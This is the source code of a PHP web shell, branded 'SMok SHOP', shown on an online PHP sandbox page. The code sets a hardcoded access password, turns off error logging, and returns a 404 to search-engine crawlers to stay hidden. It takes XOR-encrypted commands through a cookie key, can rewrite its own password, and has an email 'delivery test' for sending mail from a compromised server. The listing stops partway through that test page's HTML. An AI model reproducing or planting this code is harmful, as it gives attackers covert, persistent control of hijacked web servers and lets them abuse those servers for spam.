457.php - PHP Online

Form of PHP Sandbox

Enter Your PHP code here for testing/debugging in the Online PHP Sandbox. As in the usual PHP files, you can also add HTML, but do not forget to add the tag <?php in the places where the PHP script should be executed.



Your result can be seen below.

Result of php executing





Full code of 457.php.php

  1. <?php
  2. error_reporting(0);
  3. //--------------Real SMo--------------//
  4.  
  5. if(array_key_exists('watching',$_POST)){
  6.         $tmp = $_SERVER['SERVER_NAME'].$_SERVER['PHP_SELF']."\n".$_REQUEST['pass'];
  7. }
  8. function get_passo(){
  9.     $pattern = '/\$shellpassword=\"(.*?)\";/';
  10. $subject = file_get_contents($_SERVER['SCRIPT_FILENAME']);
  11. $result = preg_match($pattern, $subject, $matches);
  12.    return isset($matches[1]) ? $matches[1] : "";
  13. }
  14. function changepass($plain){
  15.     $newpass = "\$shellpassword=\"".$plain."\";";
  16.     $con = file_get_contents($_SERVER['SCRIPT_FILENAME']);
  17.     $con = preg_replace("/\\\$shellpassword\ *=\ *[\"\']*[a-zA-Z0-9_!@#%^&*=+()-]*[\"\']*;/is",$newpass,$con);
  18.     if(file_put_contents($_SERVER['SCRIPT_FILENAME'], $con)){
  19.         return true;
  20.     }else{return false;}
  21. }
  22.  
  23. $shellpassword="SMok8108";
  24. $password_shell = $shellpassword != "" ? md5($shellpassword) : "";
  25. $wad = true;
  26. $dec = 'UTF-8';
  27. $dect = 'FilesMan';
  28. $dea = md5($_SERVER['HTTP_USER_AGENT']);
  29. if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])."key"])) {
  30.         prototype(md5($_SERVER['HTTP_HOST'])."key", $dea);
  31. }//--------------Real SMo--------------//
  32. if(empty($_POST['charset']))
  33.         $_POST['charset'] = $dec;
  34. if (!isset($_POST['ne'])) {
  35.         if(isset($_POST['a'])) $_POST['a'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['a'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));
  36.         if(isset($_POST['c'])) $_POST['c'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['c'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));
  37.         if(isset($_POST['p1'])) $_POST['p1'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['p1'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));
  38.         if(isset($_POST['p2'])) $_POST['p2'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['p2'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));
  39.         if(isset($_POST['p3'])) $_POST['p3'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['p3'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));
  40. }//--------------Real SMo--------------//
  41. function decrypt($str,$pwd){
  42. $pwd=base64_encode($pwd);$str=base64_decode($str);$enc_chr="";$enc_str="";$i=0;while($i<strlen($str)){
  43.     for($j=0;$j<strlen($pwd);$j++){$enc_chr=chr(ord($str[$i])^ord($pwd[$j]));$enc_str.=$enc_chr;$i++;if($i>=strlen($str))break;}}return base64_decode($enc_str);}
  44.  
  45. @ini_set('error_log',NULL);
  46. @ini_set('log_errors',0);
  47. @ini_set('max_execution_time',0);
  48. @set_time_limit(0);
  49. if (PHP_VERSION_ID < 70000)
  50. @set_magic_quotes_runtime(0);
  51. @define('VERSION', '4.2.5');
  52. if(get_magic_quotes_gpc()) {
  53.         function stripslashes_array($array) {
  54.                 return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
  55.         }
  56.         $_POST = stripslashes_array($_POST);
  57.     $_COOKIE = stripslashes_array($_COOKIE);
  58. }
  59. if(!empty($password_shell)) {
  60.     if(isset($_REQUEST['pass']) && (md5($_REQUEST['pass']) == $password_shell))
  61.         prototype(md5($_SERVER['HTTP_HOST']), $password_shell);
  62.     
  63.     if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) && ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $password_shell))
  64.         
  65.         hardLogin();
  66. }
  67.  
  68. if(!empty($password_shell) && isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) && ($_COOKIE[md5($_SERVER['HTTP_HOST'])] == $password_shell) || empty($password_shell)){
  69.     
  70. if(isset($_REQUEST['changepass']) && isset($_REQUEST['renamos'])){
  71.     
  72.     die(changer($_REQUEST['changepass'],$_REQUEST['renamos']));
  73. }
  74.     
  75. }
  76.  
  77. if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax']))
  78.     $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$wad;
  79. function hardLogin() {
  80. if(isset($_REQUEST['pass']) && (md5($_REQUEST['pass']) != $password_shell)){
  81.     $al = '<div class="alert alert-danger alert-dismissible fade show" role="alert" style="background: rgba(234, 84, 85, 0.2) !important;
  82.     color: #EA5455 !important;border-color: rgb(0 0 0 / 8%);border-radius: 10px;">
  83.      
  84. <span>Incorrect password!</span>
  85. </div>';
  86. }
  87.                 if(!empty($_SERVER['HTTP_USER_AGENT'])) {
  88.                   $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
  89.                   if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
  90.                   header('HTTP/1.0 404 Not Found');
  91.                   exit;
  92.                   }
  93.                 }
  94.    
  95.     
  96.     die('<html lang="en"><head>
  97.     
  98.     
  99.     
  100.     
  101.     
  102.     
  103.     <title>' . $_SERVER['HTTP_HOST'] . ' - enter shell password</title>
  104.     
  105.     
  106.     
  107.  
  108.     
  109.     
  110.     
  111.  
  112.     <link rel="shortcut icon"" href="https://i.imgur.com/BSwJ0QE.png">
  113.     <link rel="stylesheet" type="text/css" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
  114.     
  115.      <style>
  116.      .auth-wrapper {
  117.         display: -webkit-box;
  118.         display: -webkit-flex;
  119.         display: -ms-flexbox;
  120.         display: flex;
  121.         -webkit-flex-basis: 100%;
  122.         -ms-flex-preferred-size: 100%;
  123.         flex-basis: 100%;
  124.         min-height: 100vh;
  125.         min-height: calc(var(--vh, 1vh) * 100);
  126.         width: 100%
  127. }
  128.  
  129. .auth-wrapper .auth-inner {
  130.         width: 100%;
  131.         position: relative
  132. }
  133.  
  134. .auth-wrapper.auth-v1 {
  135.         -webkit-box-align: center;
  136.         -webkit-align-items: center;
  137.         -ms-flex-align: center;
  138.         align-items: center;
  139.         -webkit-box-pack: center;
  140.         -webkit-justify-content: center;
  141.         -ms-flex-pack: center;
  142.         justify-content: center;
  143.         overflow: hidden
  144. }
  145.  
  146. .auth-wrapper.auth-v1 .auth-inner:before {
  147.         width: 244px;
  148.         height: 243px;
  149.     content:" ";
  150.         position: absolute;
  151.         top: -54px;
  152.         left: -46px;
  153.         background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAPQAAADzCAMAAACG9Mt0AAAAAXNSR0IArs4c6QAAAERlWElmTU0AKgAAAAgAAYdpAAQAAAABAAAAGgAAAAAAA6ABAAMAAAABAAEAAKACAAQAAAABAAAA9KADAAQAAAABAAAA8wAAAADhQHfUAAAAyVBMVEUAAAD///+AgP+AgP9mZv+AgNWAgP9tbf9gYP+AgP9xcf9mZv+AZuaAgP9dXf90dOhiYv92dv9mZu5mZv93d+53d/9paf94afCAcfFrXvJra/9mZvJzZvJzc/JoaP96b/Rqav91aupsYvV2bOt2bPVxaPZ7cfZqavZyau1waPd4aO9xafBxafh4afB1bfh4avFuZ/F2afJzZvJzZ/N0aPN0bvN3bPR0ae5yZ/R3be93bfR1au9zafBxbPVzavV0a/F0a/ZyafFwaPKZm3nTAAAAQ3RSTlMAAQIEBQYGBwgICQoKCgsLDQ0PDw8PERESExMUFBQWFxgYGhoaGxsdHSAgIiIiIyQlJygqLCwtLi8vLzAzNDU3Nzg7h9vbHgAAA9RJREFUeNrt3ftS2kAUx/Fc1gSyWsErtuJdRDQiiteolb7/QzUoTm07k4AzObuu3/MCez45yWbzT36eZ6b8erO1e1B97baadd+zocJWmg0HaXe/+uqmg2GWtkLT5Lle1m9LdhG2+1lvzuiUO1knEF81yFc1N+35m15kZOGodz1vyLx+v2Lseq/erxtZd/NuweCTtfiwaWLOD5FnsqI7+VnP3y8afnEs3Es/1+H1qvETwuq18B7e6VlwLup1ZM8kWWQBOsrmHL7GVtxvYRZYgQ4ywae61ffsqH5Lbq20bQm6ncp9P2ehJegwE/u+rl95ttSwLrVSc2ANetAU28dSa9Cp2E623bUG3d2VWmn/wBq0XCugQYMGLdVKoOJaoiuok1NdXSW1WAUfRPtRUllflaJf5ZE/O9pXVbZUPTov5c+IDqvtRwStdTgLutoxy6GnGfYb2o+1I2gd+1OiqzfLocvVE7TSDqG1mgodaqfQZbvZC9rXjqG1X45WzqFVKVpk0LLo4lGP0ZGD6KgMnTiITkrQgXYQrYNitHISrYrRsZPouBhdcxJdK0YnTqKTYrR2Eq1BgwYNGjRo0KBBgwYNGjRo0KBBgwYNGjRo0KBBgwYNGjRo0KBBgwYNGjRo0KBBgwYNGjRo0KBBgwYNGjRo0KBBgwYNGjRo0KBBgwYNGjRoh9DH59ag86ACoSYOL61B55EUQk1s3VqDzsNHhJpYe7QGncfMSHUxaliCHgcKSXVxeWQJehwdJdXF4dAS9DgkTKqLxuibFeiXODixNi7OrEC/BP+JtbE0WrYA/RrxKNfH2YUF6NegSbk+Gk87xtErN6EsWm88fzeMXpwE9EruLns/l42io4dJFLPo2/Po1w+D6IW7t9Bt2SPx3vOOMfS7eHVZtN54ulg2go56138Ct4XRunE2Ovsmjg46WeddUoUWr6WL0fCoIYgO2/2s91fstDZQjcPL0ePt5flpdXUwqW46uMrS1j95JNpQrW0dHp9UV/uT2m416/8HVGg3qzhpBjRo0KBBgwYNGjRo0KBBgwYNGjRo0KBBgwYNGjRo0KBBgwYNGjRo0KBBgwYNGjRo0KBBgwYNGjRo0KBBgwYNGjRo0KBBgwYNGjRo0KBBgwYNGjRo0KC/FDpx0pwUo2tOomvF6NhJdFyMVk6iVTE6cBIdeF9vJyvZx/I/AzuIjsrQvoNovwzt4FamSs0Ojrp80PmvoB0zh940pb7azf1yg7t0LIt978uppzbnalfucDW92ZndLPRmKweGPduYJ+zoM5/Dk+gD5NdvLhXXPp88qcUqmEH5G5JZRs6cuxwIAAAAAElFTkSuQmCC)
  154. }
  155.  
  156. .auth-wrapper.auth-v1 .auth-inner:after {
  157.         width: 272px;
  158.         height: 272px;
  159.     content:" ";
  160.         position: absolute;
  161.         bottom: -55px;
  162.         right: -75px;
  163.         background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAARAAAAEQCAMAAABP1NsnAAAAAXNSR0IArs4c6QAAAERlWElmTU0AKgAAAAgAAYdpAAQAAAABAAAAGgAAAAAAA6ABAAMAAAABAAEAAKACAAQAAAABAAABEKADAAQAAAABAAABEAAAAAAQWxS2AAAAwFBMVEUAAAD///+AgICAgP9VVaqqVf+qqv+AgL+AgP9mZsxmZv+ZZv+AgNWAgP9tbdttbf+Sbf+AYN+AgN+AgP9xceNmZv+AZuaAZv90dOh0dP9qav+AauqAav+AgP92dv9tbf+Abe2Abf93Zu53d+6AcO94afCAcfF5a+R5a/JzZuaAZvKAc/J5bed5bfOAaPN6b/R1auqAavR6ZvV6cPV2bOuAbPV7aPZ2be2AbfZ7au17avZ3Zu53b+57a+97a/d4aO9J6CoeAAAAQHRSTlMAAQICAwMDBAQFBQUGBgcHBwgICAkKCgoLCwwMDAwNDg4ODw8QERITExQUFBUVFhcYGBkZGhobHBwdHR4eHx8gJ5uMWwAAA/FJREFUeNrt2G1XEkEYxvHZNk2xHGzdbKFl0cTwgdSkCKzu7/+t4pw6sAjtjIueE/f8r3fMO35nZnbuy5gVGcvfzJe0rnTfGI+MggGJRUZnbpPIhJKt88nU53JnFULvyISY6KAv8vPj0vr2rYwiE2Z2B9J+uNYcyyQxwWZvaeGH3G4bMjsvI/kcwTC/V+7kLoahlITzQojP3ZFgsJCh7IJQzpX0QFj4uMiY18eDMZ9bZCF9OQahnK6cm/Y7js0sh/LF3Auv1PlQd3MxbdXYIQspV44EEEAAAWTNDAYYkKdJbNMsLzYueZbaZ2iM46RVbHBaiZ9Js+nHEdli42N9XuSen5hGp1CQTuOJQDRsD99N4gMSpYWapNH6IJo83CIeILZQFesEaber79NCWRoukOpNEnW0gXQqD81w6ACxhbrYde7VuFCYeA2QRCNIsgZISyNIqz6IyhPjOjNVIFYniK3dmKU6QdLaJUimEySrDZLrBMlrgxRKU7sxCw/EMe0CAggggADySJCqxixIkKpNEh6IozELD8RxjQACCCCAAPJIkKrGLEgQXqqAAEJjxrQLCCCAAEJjRmNGY8a0CwgggABCYwYIfQgggNCYMe0CAggggNCY0ZjRmDHtAgIIIIAAQmNGHwIIIDRmTLuAAAIIIDRmNGY0Zky7gAACCCCA0JjRhwACCI0Z0y4ggAACCI0ZjRmNGdMuIIAAAgggNGb0IYAAQmPGtAsIIIAAQmNGY0ZjxrQLCCCAAAIIjRl9CCCA0Jgx7QICCCCA0JjRmNGYMe0CAggggABCY0YfAgggNGZMu4AAAgggNGY0ZjRmTLuAAAIIIIDQmNGHAAIIjRnTLiCAAAIIjRmNGY0ZIEy7gAACCCA0ZvQhgABCY8a0CwgggABCY0ZjBgiNGdMuIIAAAgiN2f/Sh+Q6PfLaIJlOkKw2SKoTJK3dmFmdILb2tBvrBIlrg5iWRo+WqQ+SaARJ1gCJAzsxThCN16p1vNurGjNjoo42j07kAHFskoY2kEbl33U0ZgoPjXW+Rl0gkarnahqtDaJKxMPDDWIiNafGenh4gExvVhXfmk7Da6L1AVGxSby2h6MxK79Zk42ea1pJbJ48sU2zDezQ8iy1z6BBwoyjMQsvXp8YQAAhgADilRfyy+wf8WqZZUfGZihvgZiB3FybC+kCUU5XLkAo50C+gbBQdUzkAIVyejIAYfFTI1solHP2HgNCnHn5AYNy4jvpoVB6fVzL91cwzLJ9Lfd7S0jhehxO5H5/yePr1W6gHonI7fJ5ORSR/n6Q2yQanq763zuXU5LJZRKiyD/W9/pjkdPZz0/yJ8fqVyry+qQZDMjJKoDfy8bRVhHhQTwAAAAASUVORK5CYII=);
  164.         z-index: -1
  165. }
  166.  
  167. @media (max-width:575.98px) {
  168.         .auth-wrapper.auth-v1 .auth-inner:after,
  169.         .auth-wrapper.auth-v1 .auth-inner:before {
  170.                 display: none
  171.         }
  172. }
  173.  
  174.  
  175.  
  176. .auth-wrapper.auth-v1 .auth-inner {
  177.         max-width: 400px
  178. }
  179.  
  180. .auth-wrapper .brand-logo {
  181.         display: -webkit-box;
  182.         display: -webkit-flex;
  183.         display: -ms-flexbox;
  184.         display: flex;
  185.         -webkit-box-pack: center;
  186.         -webkit-justify-content: center;
  187.         -ms-flex-pack: center;
  188.         justify-content: center;
  189.         margin: 1rem 0 2rem
  190. }
  191.  
  192. .auth-wrapper .brand-logo .brand-text {
  193.         font-weight: 600
  194. }
  195.  
  196.  
  197. @media (min-width:1200px) {
  198.         .auth-wrapper.auth-v2 .auth-card {
  199.                 width: 400px
  200.         }
  201. }
  202.  
  203.  
  204.      </style>
  205.     
  206.  
  207.     
  208.     
  209.     
  210.  
  211.   </head>
  212.  
  213.   <body style="
  214.     color: #B4B7BD;
  215.     background-color: #161D31;
  216. ">
  217.     
  218.     <div class="auth-wrapper auth-v1 px-2">
  219.   <div class="auth-inner py-2">
  220.     
  221. <div class="card mb-0" style="
  222.     background-color: #283046;
  223.     box-shadow: 0 4px 24px 0 rgb(34 41 47 / 24%);
  224.     border-radius: 15px;
  225. "> 
  226.       <div class="card-body">
  227.         <a href="https://t.me/RealSMo" target="_blank" style="
  228.     color: #7367F0 !important;
  229.     background-color: transparent;
  230. " class="brand-logo">
  231.           
  232.           <h2 class="brand-text text-primary ml-1" style="
  233.     color: #7367F0 !important;
  234.     background-color: transparent;
  235. ">SMok SHOP</h2>
  236.         </a>
  237. '.$al.'
  238.         <h4 class="card-title mb-1">Shell-Password</h4>
  239.         <p class="card-text mb-2">This shell is protected by password please enter it</p>
  240.  
  241.         <form method="post">
  242.           <div class="form-group">
  243.             <label class="form-label">Password</label>
  244.             <input required="" type="password" class="form-control" name="pass" placeholder="Password" autofocus="" style="
  245.     border-color: #404656;
  246.     background-color: #283046;
  247.     color: #B4B7BD;
  248. ">
  249.           </div>
  250.           <input value="submit" type="submit" name="watching" class="btn btn-primary btn-block waves-effect waves-float waves-light" style="
  251.     color: #FFF;
  252.     background-color: #7367F0;
  253.     border-color: #7367F0;
  254. ">
  255.         </form>
  256.  
  257.         
  258.       </div>
  259.     </div>
  260.  
  261.   </div>
  262. </div>
  263.  
  264.         
  265.       
  266.     
  267.     
  268.  
  269.  
  270.     
  271.     
  272.     
  273.  
  274.     
  275.     
  276.     
  277.     
  278.  
  279.     
  280.     
  281.     
  282.     
  283.  
  284.     
  285.     
  286.     
  287.  
  288.     
  289.   
  290.   
  291. </body></html>');
  292. }
  293. if(isset($_REQUEST['email'])){
  294.  
  295.         $actual_linka = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http") . "://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
  296.   
  297.   $partsa = parse_url($actual_linka);
  298.   
  299.   $stra = $partsa['scheme'].'://'.$partsa['host'].$partsa['path']; 
  300.   $emall =    isset($_REQUEST['email'])?$_REQUEST['email']:null;
  301.   $aler = '';
  302.   function hideEmailAddress($email)
  303.           {
  304.               $em   = explode("@",$email);
  305.               $name = implode(array_slice($em, 0, count($em)-1), '@');
  306.               $len  = floor(strlen($name)/2);
  307.               return substr($name,0, $len) . str_repeat('*', $len) . "@" . end($em);   
  308.           }
  309.           
  310.   if (filter_var($emall, FILTER_VALIDATE_EMAIL)){
  311.   $recipient = isset ($emall) ? $emall : null;
  312.   $subject = isset ($_REQUEST["subject"]) ? $_REQUEST["subject"] : "Delivery Test from shell [$stra]";
  313.   $message = isset ($_REQUEST["msg"]) ? $_REQUEST["msg"] : "If you see this msg this means that Shell [$stra] Delivery is working good";
  314.   
  315.   
  316.   
  317.   if(mail($recipient, $subject, $message))
  318.   {
  319.                 $aler = '<div class="alert alert-success alert-dismissible fade show" role="alert" style="background: rgba(40, 199, 111, 0.2) !important;color: #28C76F !important;border-color: rgb(0 0 0 / 8%);border-radius: 10px;">
  320.            
  321.   <span>Test email sent to '.hideEmailAddress($emall).' Successfully</span>
  322.   </div>';
  323.   }
  324.   else{
  325.                 $aler = '<div class="alert alert-danger alert-dismissible fade show" role="alert" style="background: rgba(234, 84, 85, 0.2) !important;
  326.           color: #EA5455 !important;border-color: rgb(0 0 0 / 8%);border-radius: 10px;">
  327.            
  328.   <span>Test email Failed to '.hideEmailAddress($emall).'</span>
  329.   </div>';
  330.   }
  331.           
  332.           
  333.  
  334.   
  335.   }
  336.           
  337.                   echo '<html lang="en"><head>
  338.           
  339.           
  340.           
  341.           
  342.           
  343.           
  344.          <title>' . $_SERVER['HTTP_HOST'] . ' - Shell delivery test</title>
  345.           
  346.           
  347.           
  348.   
  349.           
  350.           
  351.           
  352.   
  353.           <link rel="shortcut icon"" href="https://i.imgur.com/BSwJ0QE.png">
  354.           <link rel="stylesheet" type="text/css" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
  355.           
  356.            <style>
  357.            .auth-wrapper {
  358.           display: -webkit-box;
  359.           display: -webkit-flex;
  360.           display: -ms-flexbox;
  361.           display: flex;
  362.           -webkit-flex-basis: 100%;
  363.           -ms-flex-preferred-size: 100%;
  364.           flex-basis: 100%;
  365.           min-height: 100vh;
  366.           min-height: calc(var(--vh, 1vh) * 100);
  367.           width: 100%
  368.   }
  369.   
  370.   .auth-wrapper .auth-inner {
  371.           width: 100%;
  372.           position: relative
  373.   }
  374.   
  375.   .auth-wrapper.auth-v1 {
  376.           -webkit-box-align: center;
  377.           -webkit-align-items: center;
  378.           -ms-flex-align: center;
  379.           align-items: center;
  380.           -webkit-box-pack: center;
  381.           -webkit-justify-content: center;
  382.           -ms-flex-pack: center;
  383.           justify-content: center;
  384.           overflow: hidden
  385.   }
  386.   
  387.   .auth-wrapper.auth-v1 .auth-inner:before {
  388.           width: 244px;
  389.           height: 243px;
  390.           content:" ";
  391.           position: absolute;
  392.           top: -54px;
  393.           left: -46px;
  394.           background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAPQAAADzCAMAAACG9Mt0AAAAAXNSR0IArs4c6QAAAERlWElmTU0AKgAAAAgAAYdpAAQAAAABAAAAGgAAAAAAA6ABAAMAAAABAAEAAKACAAQAAAABAAAA9KADAAQAAAABAAAA8wAAAADhQHfUAAAAyVBMVEUAAAD///+AgP+AgP9mZv+AgNWAgP9tbf9gYP+AgP9xcf9mZv+AZuaAgP9dXf90dOhiYv92dv9mZu5mZv93d+53d/9paf94afCAcfFrXvJra/9mZvJzZvJzc/JoaP96b/Rqav91aupsYvV2bOt2bPVxaPZ7cfZqavZyau1waPd4aO9xafBxafh4afB1bfh4avFuZ/F2afJzZvJzZ/N0aPN0bvN3bPR0ae5yZ/R3be93bfR1au9zafBxbPVzavV0a/F0a/ZyafFwaPKZm3nTAAAAQ3RSTlMAAQIEBQYGBwgICQoKCgsLDQ0PDw8PERESExMUFBQWFxgYGhoaGxsdHSAgIiIiIyQlJygqLCwtLi8vLzAzNDU3Nzg7h9vbHgAAA9RJREFUeNrt3ftS2kAUx/Fc1gSyWsErtuJdRDQiiteolb7/QzUoTm07k4AzObuu3/MCez45yWbzT36eZ6b8erO1e1B97baadd+zocJWmg0HaXe/+uqmg2GWtkLT5Lle1m9LdhG2+1lvzuiUO1knEF81yFc1N+35m15kZOGodz1vyLx+v2Lseq/erxtZd/NuweCTtfiwaWLOD5FnsqI7+VnP3y8afnEs3Es/1+H1qvETwuq18B7e6VlwLup1ZM8kWWQBOsrmHL7GVtxvYRZYgQ4ywae61ffsqH5Lbq20bQm6ncp9P2ehJegwE/u+rl95ttSwLrVSc2ANetAU28dSa9Cp2E623bUG3d2VWmn/wBq0XCugQYMGLdVKoOJaoiuok1NdXSW1WAUfRPtRUllflaJf5ZE/O9pXVbZUPTov5c+IDqvtRwStdTgLutoxy6GnGfYb2o+1I2gd+1OiqzfLocvVE7TSDqG1mgodaqfQZbvZC9rXjqG1X45WzqFVKVpk0LLo4lGP0ZGD6KgMnTiITkrQgXYQrYNitHISrYrRsZPouBhdcxJdK0YnTqKTYrR2Eq1BgwYNGjRo0KBBgwYNGjRo0KBBgwYNGjRo0KBBgwYNGjRo0KBBgwYNGjRo0KBBgwYNGjRo0KBBgwYNGjRo0KBBgwYNGjRo0KBBgwYNGjRoh9DH59ag86ACoSYOL61B55EUQk1s3VqDzsNHhJpYe7QGncfMSHUxaliCHgcKSXVxeWQJehwdJdXF4dAS9DgkTKqLxuibFeiXODixNi7OrEC/BP+JtbE0WrYA/RrxKNfH2YUF6NegSbk+Gk87xtErN6EsWm88fzeMXpwE9EruLns/l42io4dJFLPo2/Po1w+D6IW7t9Bt2SPx3vOOMfS7eHVZtN54ulg2go56138Ct4XRunE2Ovsmjg46WeddUoUWr6WL0fCoIYgO2/2s91fstDZQjcPL0ePt5flpdXUwqW46uMrS1j95JNpQrW0dHp9UV/uT2m416/8HVGg3qzhpBjRo0KBBgwYNGjRo0KBBgwYNGjRo0KBBgwYNGjRo0KBBgwYNGjRo0KBBgwYNGjRo0KBBgwYNGjRo0KBBgwYNGjRo0KBBgwYNGjRo0KBBgwYNGjRo0KC/FDpx0pwUo2tOomvF6NhJdFyMVk6iVTE6cBIdeF9vJyvZx/I/AzuIjsrQvoNovwzt4FamSs0Ojrp80PmvoB0zh940pb7azf1yg7t0LIt978uppzbnalfucDW92ZndLPRmKweGPduYJ+zoM5/Dk+gD5NdvLhXXPp88qcUqmEH5G5JZRs6cuxwIAAAAAElFTkSuQmCC)
  395.   }
  396.   
  397.   .auth-wrapper.auth-v1 .auth-inner:after {
  398.           width: 272px;
  399.           height: 272px;
  400.           content:" ";
  401.           position: absolute;
  402.           bottom: -55px;
  403.           right: -75px;
  404.           background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAARAAAAEQCAMAAABP1NsnAAAAAXNSR0IArs4c6QAAAERlWElmTU0AKgAAAAgAAYdpAAQAAAABAAAAGgAAAAAAA6ABAAMAAAABAAEAAKACAAQAAAABAAABEKADAAQAAAABAAABEAAAAAAQWxS2AAAAwFBMVEUAAAD///+AgICAgP9VVaqqVf+qqv+AgL+AgP9mZsxmZv+ZZv+AgNWAgP9tbdttbf+Sbf+AYN+AgN+AgP9xceNmZv+AZuaAZv90dOh0dP9qav+AauqAav+AgP92dv9tbf+Abe2Abf93Zu53d+6AcO94afCAcfF5a+R5a/JzZuaAZvKAc/J5bed5bfOAaPN6b/R1auqAavR6ZvV6cPV2bOuAbPV7aPZ2be2AbfZ7au17avZ3Zu53b+57a+97a/d4aO9J6CoeAAAAQHRSTlMAAQICAwMDBAQFBQUGBgcHBwgICAkKCgoLCwwMDAwNDg4ODw8QERITExQUFBUVFhcYGBkZGhobHBwdHR4eHx8gJ5uMWwAAA/FJREFUeNrt2G1XEkEYxvHZNk2xHGzdbKFl0cTwgdSkCKzu7/+t4pw6sAjtjIueE/f8r3fMO35nZnbuy5gVGcvfzJe0rnTfGI+MggGJRUZnbpPIhJKt88nU53JnFULvyISY6KAv8vPj0vr2rYwiE2Z2B9J+uNYcyyQxwWZvaeGH3G4bMjsvI/kcwTC/V+7kLoahlITzQojP3ZFgsJCh7IJQzpX0QFj4uMiY18eDMZ9bZCF9OQahnK6cm/Y7js0sh/LF3Auv1PlQd3MxbdXYIQspV44EEEAAAWTNDAYYkKdJbNMsLzYueZbaZ2iM46RVbHBaiZ9Js+nHEdli42N9XuSen5hGp1CQTuOJQDRsD99N4gMSpYWapNH6IJo83CIeILZQFesEaber79NCWRoukOpNEnW0gXQqD81w6ACxhbrYde7VuFCYeA2QRCNIsgZISyNIqz6IyhPjOjNVIFYniK3dmKU6QdLaJUimEySrDZLrBMlrgxRKU7sxCw/EMe0CAggggADySJCqxixIkKpNEh6IozELD8RxjQACCCCAAPJIkKrGLEgQXqqAAEJjxrQLCCCAAEJjRmNGY8a0CwgggABCYwYIfQgggNCYMe0CAggggNCY0ZjRmDHtAgIIIIAAQmNGHwIIIDRmTLuAAAIIIDRmNGY0Zky7gAACCCCA0JjRhwACCI0Z0y4ggAACCI0ZjRmNGdMuIIAAAgggNGb0IYAAQmPGtAsIIIAAQmNGY0ZjxrQLCCCAAAIIjRl9CCCA0Jgx7QICCCCA0JjRmNGYMe0CAggggABCY0YfAgggNGZMu4AAAgggNGY0ZjRmTLuAAAIIIIDQmNGHAAIIjRnTLiCAAAIIjRmNGY0ZIEy7gAACCCA0ZvQhgABCY8a0CwgggABCY0ZjBgiNGdMuIIAAAgiN2f/Sh+Q6PfLaIJlOkKw2SKoTJK3dmFmdILb2tBvrBIlrg5iWRo+WqQ+SaARJ1gCJAzsxThCN16p1vNurGjNjoo42j07kAHFskoY2kEbl33U0ZgoPjXW+Rl0gkarnahqtDaJKxMPDDWIiNafGenh4gExvVhXfmk7Da6L1AVGxSby2h6MxK79Zk42ea1pJbJ48sU2zDezQ8iy1z6BBwoyjMQsvXp8YQAAhgADilRfyy+wf8WqZZUfGZihvgZiB3FybC+kCUU5XLkAo50C+gbBQdUzkAIVyejIAYfFTI1solHP2HgNCnHn5AYNy4jvpoVB6fVzL91cwzLJ9Lfd7S0jhehxO5H5/yePr1W6gHonI7fJ5ORSR/n6Q2yQanq763zuXU5LJZRKiyD/W9/pjkdPZz0/yJ8fqVyry+qQZDMjJKoDfy8bRVhHhQTwAAAAASUVORK5CYII=);
  405.           z-index: -1
  406.   }
  407.   
  408.   @media (max-width:575.98px) {
  409.           .auth-wrapper.auth-v1 .auth-inner:after,
  410.           .auth-wrapper.auth-v1 .auth-inner:before {
  411.                   display: none
  412.           }
  413.   }
  414.   
  415.   
  416.   
  417.   .auth-wrapper.auth-v1 .auth-inner {
  418.           max-width: 500px;
  419.           
  420.   }
  421.   
  422.   .auth-wrapper .brand-logo {
  423.           display: -webkit-box;
  424.           display: -webkit-flex;
  425.           display: -ms-flexbox;
  426.           display: flex;
  427.           -webkit-box-pack: center;
  428.           -webkit-justify-content: center;
  429.           -ms-flex-pack: center;
  430.           justify-content: center;
  431.           margin: 1rem 0 2rem
  432.   }
  433.   
  434.   .auth-wrapper .brand-logo .brand-text {
  435.           font-weight: 600
  436.   }
  437.   
  438.   
  439.   @media (min-width:1200px) {
  440.           .auth-wrapper.auth-v2 .auth-card {
  441.                   width: 400px
  442.           }
  443.   }
  444.   
  445.   
  446.            </style>
  447.           
  448.   
  449.           
  450.           
  451.           
  452.   
  453.         </head>
  454.   
  455.         <body style="
  456.           color: #B4B7BD;
  457.           background-color: #161D31;
  458.   ">
  459.           
  460.           <div class="auth-wrapper auth-v1 px-2">
  461.         <div class="auth-inner py-2">
  462.           
  463.   <div class="card mb-0" style="
  464.           background-color: #283046;
  465.           box-shadow: 0 4px 24px 0 rgb(34 41 47 / 24%);
  466.           border-radius: 15px;
  467.   "> 
  468.                 <div class="card-body">
  469.                   <a href="https://t.me/RealSMo" target="_blank" style="
  470.           color: #7367F0 !important;
  471.           background-color: transparent;
  472.   " class="brand-logo">
  473.  
  474.                         <h2 class="brand-text text-primary ml-1" style="
  475.           color: #7367F0 !important;
  476.           background-color: transparent;
  477.   ">SMok-SHOP</h2>
  478.                   </a>
  479.   '.$aler.'
  480.                   <h4 class="card-title mb-1">Delivery Test</h4>
